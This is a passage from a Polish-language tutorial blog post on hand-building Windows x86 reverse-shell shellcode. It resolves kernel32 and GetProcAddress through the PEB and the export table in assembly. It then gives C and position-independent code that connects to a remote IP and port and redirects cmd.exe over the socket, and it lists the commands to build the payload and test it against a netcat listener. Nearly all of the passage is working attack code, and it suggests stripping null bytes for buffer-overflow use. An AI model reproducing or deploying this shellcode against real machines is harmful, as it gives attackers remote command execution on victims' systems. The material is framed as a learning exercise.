Wskaźnik pobrany z _PEB_LDR_DATA [0x14] wskazuje na następny element listy (wskazane na obrazku). Nas interesuje pole DllBase na offsecie 0x10. Jest to adres bazowy załadowanej dll-ki. Przejdźmy do kernel32.dll, bo tam są wszystkie interesujące nas funkcje. Ustalmy ebp jako wskaźnik na adres bazowy kernel32, będziemy musieli odwoływać się do adresów VA (link)

mov esi,eax
mov esi, [esi] 
mov esi, [esi]
mov ebp, [esi+0x10]

Screen z testowego programu, w eax mamy DllBase. (mov esi,[esi] przenosi nas do następnego elementu listy (w esi był adres na następny element listy, więc jeżeli „wyłuskamy” ten adres uzyskamy następny element, w tym przypadku ntdll.dll)). Bardzo dobrze wytłumaczony format PE na jednym obrazku (pe101pl.png). Spójrzmy na kernel32.dll w PEView (Znajduje się w C:\Windows\System32\kernel32.dll, a na systemach 64 bitowych C:\Windows\SysWow64\kernel32.dll).

Znajdźmy teraz EXPORT Table. Znajduje się ono na offsecie 0x168 od adresu bazowego (w przypadku wersji biblioteki z Windows 7, dla innych windowsów może to być inny offset, ze względu na offset w DOS HEADER (0x3C) do PE HEADER, który różni się w różnych wersjach Windowsa). Pobierzmy tą wartość i przejdźmy do tego pola

mov edi, [ebp+0x3C]    ; offset do PE Header
add edi, 0x78          ; signature + file header + export table offset
add edi,ebp            ; EDI = VA EXPORT TABLE
mov edi,[edi]          ; offset w pliku na IMAGE EXPORT DIRECTORY
add edi,ebp            ; EDI = VA IMAGE EXPORT DIRECTORY
mov eax,[edi+0x20]     ; Name Pointer Table RVA
add eax,ebp            ; Name Pointer Table VA

Gdy spojrzymy na adres 0xB4FC4 w pliku to prawdopodobnie wylądujemy gdzieś w EXPORT_Address Table, ten offset jest prawdziwy dla załadowanego już kernel32.dll w pamięci, bo loader nie kopiuje żywcem całego pliku do pamięci (W nagłówkach wszystkich sekcji Virtual Size i Size of Raw Data się różnią : to znaczy że sekcje te zajmują inną ilość miejsca w pliku a inną w załadowanej pamięci, np. .bss w pliku zajmuje 0 bajtów, a w pamięci jest zapisane tam np. 0x1000 zer). Skoro mamy już informacje co do exportów kernel32.dll to znajdźmy adresy dwóch funkcji :

 - GetProcAddress(HMODULE hModule, LPCSTR lpProcName);
 - LoadLibrary(LPCTSTR lpFileName);

Dzięki GetProcAddress będziemy mogli otrzymywać adresy innych potrzebnych nam funkcji, a LoadLibrary załadujemy te biblioteki których nie ma standardowo w przestrzeni adresowej procesu (np. ws2_32.dll czy msvcrt.dll). Musimy znaleźć string „GetProcAddress” w Name Pointer Table RVA oraz policzyć na jakiej pozycji w tej liście się znajduje, więc będziemy znali jej „ordinal” przez co będziemy mogli znaleźć jej adres.

mov esi,eax           ; ESI = Name Pointer Table VA 
mov eax,[edi+0x1C]    ; EAX = Address Table RVA
add eax,ebp           ; EAX = Address Table VA

mov edx, eax          ; EDX = Address Table VA
xor ecx,ecx           ; zerujemy licznik ordinali, w ecx bedziemy mieli ordinal GetProcAddress

W rejestrze ESI mamy teraz tablice wskaźników na nazwy funkcji eksportowanych. W rejestrze EDX mamy tablice wskaźników na funkcje eksportowane. lodsd wczytuje string z ESI do EAX, oraz przesuwa ESI o +0x4 czyli przesuwa wskaźnik na następny string w tablicy. Teraz musimy sprawdzić każdą nazwę funkcji, będziemy sprawdzać po kolei co 4 bajty danego stringa. Napis musimy oczywiście zapisać w Little Endian. (PteG-Acor-erdd), bo z tego sposobu uporządkowania bajtów korzystają procesory z rodziny x86.

find_getproc:                   ; etykieta do ktorej bedziemy sie odwolywac 
inc ecx                         ; zwiekszamy ordinal funkcji
lodsd                           ; w eax jest adres stringa aktualnie sprawdzanego a esi = esi + 4
add eax,ebp                     ; string VA convert
cmp dword [eax], 0x50746547     ; GetP
jne find_getproc    
cmp dword [eax+0x4], 0x41636f72 ;rocA
jne find_getproc
cmp dword [eax+0x8], 0x65726464 ; ddre
jne find_getproc
found:                          ; znalezlismy GetProcAddress

Gdy kod dojdzie do „found” to w ECX będziemy mieli ordinal GetProcAddress, więc teraz trzeba znaleźć jej adres. Można go znaleźć na ECX (numer ordinala) pozycji w tablicy adresów. W EDX mamy tą tablicę, więc EDX + ECX * 4 to adres GetProcAddress. Spójrzmy na kod :

mov esi, [edx + ecx * 4] ; ESI = GetProcAddress
add esi,ebp ; Zamiana na VA

Teraz w ESI mamy adres GetProcAddress a w EBP DllBase kernel32.dll. Bazując na nich możemy napisać kod który będzie łączył się z serwerem zdalnym, uruchamiał cmd oraz przekierowywał wejście/wyjście na socket (czyli zdalne wykonywanie komend w cmd). Napisałem taki program w C :

#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>

int main (int argc,char ** argv)
{
		
    if (argc < 2)
    {
        printf("Usage pipes <ip> <port> ");
    }
    
    WSADATA wsadata;
    int result = WSAStartup (MAKEWORD(2,2),&wsadata);
    if (result != NO_ERROR)
    {
        printf("error with wsastartup");
    }
    
    struct sockaddr_in server;
    server.sin_family = AF_INET;
    server.sin_port = htons (atoi(argv[2]));
    server.sin_addr.s_addr = inet_addr (argv[1]);
    
    SOCKET soc = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
    if (soc == INVALID_SOCKET)
    {
        printf("Error with creating socket");
    }
    
    if (connect(soc,(struct sockaddr *)&server,sizeof(server)) == SOCKET_ERROR)
    {
        printf("Problem with connecting");
    }
		
	PROCESS_INFORMATION piProcInfo; 
   	STARTUPINFO siStartInfo;

   	BOOL bSuccess = FALSE; 
 
   	ZeroMemory( &piProcInfo, sizeof(PROCESS_INFORMATION) );
  
   	ZeroMemory( &siStartInfo, sizeof(STARTUPINFO) );
   	siStartInfo.cb = sizeof(STARTUPINFO); 
   	siStartInfo.hStdError = (HANDLE)soc;
   	siStartInfo.hStdOutput = (HANDLE)soc;
   	siStartInfo.hStdInput = (HANDLE)soc;
   	siStartInfo.dwFlags |= STARTF_USESTDHANDLES;
	
	
	bool isOk = CreateProcess(
	"C:\\Windows\\System32\\cmd.exe",
	NULL,
	NULL,
	NULL,
	TRUE,
	DETACHED_PROCESS,
	NULL,
	NULL,
	&siStartInfo,
	&piProcInfo
	);
	
	WaitForSingleObject(piProcInfo.hProcess,INFINITE);

	DWORD ret = GetLastError();
	printf("%.08x",ret);

	closesocket(soc);
	WSACleanup();
	return 0;
}

Do stworzenia socket’u użyłem WSASocket, bez żadnych ustawionych flag, co pozwala pojmować HANDLE socket’u jako plik, do którego możemy pisać czy z którego możemy czytać, w przeciwieństwie do funkcji socket (). Dzięki temu możemy ustawić żeby standardowe wejście/wyjście/wyjście błędów nowego procesu (cmd.exe) było przekierowane do socketu. Flaga DETACHED_PROCESS w CreateProcess pozwala na to aby kod był uruchomiony w oderwaniu od procesu który go uruchomił nawet po zamknięciu procesu rodzica. WaitForSingleObject czeka na sygnał od nowo uruchomionego procesu (cmd.exe) w nieskończoność (INFINITE jako drugi parametr oznacza w nieskończoność), bez tej linijki program skończyłby wykonanie natychmiastowo nie czekając na nic. Gdyby chcieć przepisać taki kod w assemblerze to byłby masochizm, więc zaprzęgniemy GCC aby utworzył za nas część shellcode’u. Będziemy musieli mu powiedzieć żeby kod był niezależny od pozycji w pamięci (Position Independent Code). Użyjemy do tego przełącznika -fPIC. Stwórzmy sobie funkcję która będzie przyjmować nasz zdobyty adres funkcji GetProcAddress i DllBase kernel32.dll (przypomnijmy sobie jak tworzy się wskaźniki na funkcje w C). Jak zadeklarować taką funkcję :

#include <winsock2.h>
#include <windows.h>

// LPCSTR == const char *

// void* (__stdcall *pGetProcAddress)(HANDLE, const char * TO WSKAŹNIK NA FUNKCJE
// która zwraca void *, jest funkcją typu stdcall przyjmuje jako parametry HANDLE i const char * (LPCSTR)

void code ( void* (__stdcall *pGetProcAddress)(HANDLE, const char *),HANDLE hKern)
{}

Teraz musimy przepisać kod z mojego programu w C, korzystając z danych jakimi dysponujemy. Załadujmy bibliotekę ws2_32.dll oraz msvcrt.dll (dla memset) w kontekst procesu. Uprzedzam że w nowoczesnych standardach języka C nie powinno używać się konstrukcji typu [char * a = „text”]

char sLL [] = "LoadLibraryA";
char sMSVCRT [] = "msvcrt.dll";
char sWS2 [] = "ws2_32.dll";

HANDLE (__stdcall *pLoadLibrary)(const char * lpFileName) = pGetProcAddress(hKern,sLL);

HANDLE hWinSock = pLoadLibrary(sWS2);
HANDLE hMSVCRT = pLoadLibrary (sMSVCRT);

Aby wszystkie stringi były zapisane w sekcji .text musimy zapisać je do zmiennej lokalnej typu char *. Mając załadowane potrzebne biblioteki załadujmy z nich wszystkie potrzebne funkcje oraz dokończmy nasz shellcode.

    char sLL [] = "LoadLibraryA";
    char sWS2 [] = "ws2_32.dll";
    char sWSAStartup [] = "WSAStartup";
    char sWSASocket [] = "WSASocketA";
    char sConnect [] = "connect";
    char sCreateProcess [] = "CreateProcessA";
    char sWait [] = "WaitForSingleObject";
    const char sCMD [] ="C:\\Windows\\System32\\cmd.exe";
    char sClosesocket [] = "closesocket";
    char sWSACleanup [] = "WSACleanup";
    char sMemset [] = "memset";
    char sMSVCRT [] = "msvcrt.dll";
    
    HANDLE (__stdcall *pLoadLibrary)(const char * lpFileName) = pGetProcAddress(hKern,sLL);

    HANDLE hWinSock = pLoadLibrary(sWS2);
    HANDLE hMSVCRT = pLoadLibrary (sMSVCRT);

    int (__stdcall *pWSAStartup)(WORD,LPWSADATA) = pGetProcAddress(hWinSock,sWSAStartup);

    SOCKET (__stdcall *pWSASocket)(int,int,int,LPWSAPROTOCOL_INFO,GROUP,DWORD) = pGetProcAddress(hWinSock,sWSASocket);

   int (__stdcall *pConnect)(SOCKET,const struct sockaddr *name,int) = pGetProcAddress(hWinSock,sConnect);


   BOOL (__stdcall *pCreateProcess)(LPCTSTR,LPTSTR,LPSECURITY_ATTRIBUTES,LPSECURITY_ATTRIBUTES,BOOL,DWORD,LPVOID,LPCTSTR,LPSTARTUPINFO,LPPROCESS_INFORMATION) = pGetProcAddress(hKern,sCreateProcess);
	
   DWORD (__stdcall *pWaitForSingleObject)(HANDLE,DWORD) = pGetProcAddress(hKern,sWait);

   int (__stdcall *pClosesocket)(SOCKET) = pGetProcAddress(hWinSock,sClosesocket);

   int (__stdcall *pWSACleanup) (void) = pGetProcAddress (hWinSock,sWSACleanup);

   void * (__stdcall *pMemset)(void *,int, size_t) = pGetProcAddress (hMSVCRT,sMemset);
    
    WSADATA wsadata;
    pWSAStartup (202,&wsadata); // MAKEWORD (2,2) == 202
    
    struct sockaddr_in server;
    server.sin_family = AF_INET;
    server.sin_port = 0xB315; // port, Little Endian, tutaj 5555
    server.sin_addr.s_addr = 0x0138A8C0; // tutaj wpisujemy adres IP na który chcemy się połączyć w Little Endian, tutaj 192.168.56.1
    // 192 == 0xC0
    // 168 == 0xA8
    // 56 == 0x38
   //  01 == 0x01
    SOCKET soc = pWSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);

    pConnect(soc,(struct sockaddr *)&server,sizeof(server));
	
    PROCESS_INFORMATION piProcInfo; 
    STARTUPINFO siStartInfo;
	
 	pMemset (&piProcInfo,0,sizeof(PROCESS_INFORMATION));
	pMemset (&siStartInfo,0,sizeof(STARTUPINFO));

   	siStartInfo.cb = sizeof(STARTUPINFO); 
   	siStartInfo.hStdError = (HANDLE)soc;
   	siStartInfo.hStdOutput = (HANDLE)soc;
   	siStartInfo.hStdInput = (HANDLE)soc;
   	siStartInfo.dwFlags |= STARTF_USESTDHANDLES;
	
	pCreateProcess(
	sCMD,
	NULL,
	NULL,
	NULL,
	TRUE,
	DETACHED_PROCESS,
	NULL,
	NULL,
	&siStartInfo,
	&piProcInfo
	);
	
	pWaitForSingleObject(piProcInfo.hProcess,INFINITE);


	pClosesocket(soc);
	pWSACleanup();

Aby wykonać tą funkcje z pierwszego kodu assembly, musimy przekazać jej argumenty (oczywiście od tyłu wrzucić na stos)

push ebp
push esi
push 0 ; adres powrotu z funkcji, niech będzie 0x00000000, niech się „wykrzaczy”

Skompilujmy i połączmy nasz shellcode w całość :

nasm code1.asm -o code1.bin

gcc code2.c -nostdlib -fPIC -c -o code2.o

objcopy -O binary --only-section=.text code2.o code2.bin

copy code1.bin+code2.bin shellcode.bin

asmloader shellcode.bin

NASM bez żadnych przełączników generuje tylko bajty kodu maszynowego czyli to co nas interesuje. Przełącznik „-c „ kompiluje do pliku obiektowego, -nostdlib aby GCC nie używał systemowych bibliotek standardu języka C.Polecenie copy pozwala nam połączyć dwa pliki w jeden (podobnie jak cat na linuxie). Otrzymamy shellcode.bin z bajtami kodu.

Czyż nie wygląda to pięknie :) ?

Możemy sprawdzić czy nasz kod działa poprzez mały programik „asmloader”, który alokuje wykonywalną pamięć, kopiuje podany do niego kod i do niego skacze (być może w innym poście wytłumaczę jak napisać taki programik). Sprawdźmy więc :

asmloader shellcode.bin

A na drugim komputerze ustawiłem netcat aby oczekiwał na połączenia na porcie 5555.

Jak widać mamy nasz upragniony wynik 😃 Możecie zobaczyć pliki na pulpicie mojego komputera z Windowsem. Można również pokusić się o usunięcie z shellcodu bajtów zerowych i wykorzystać go do buffer overflow. Myślę że dzięki temu eksperymentowi dużo mogliście nauczyć się o tym jak działa Windows, no i napisaliście własny shellcode ! Jeżeli program się „wykrzacza” to możemy użyć Ollydbg do znalezienia problemu :

ollydbg asmloader shellcode.bin

Dominik Tamiołło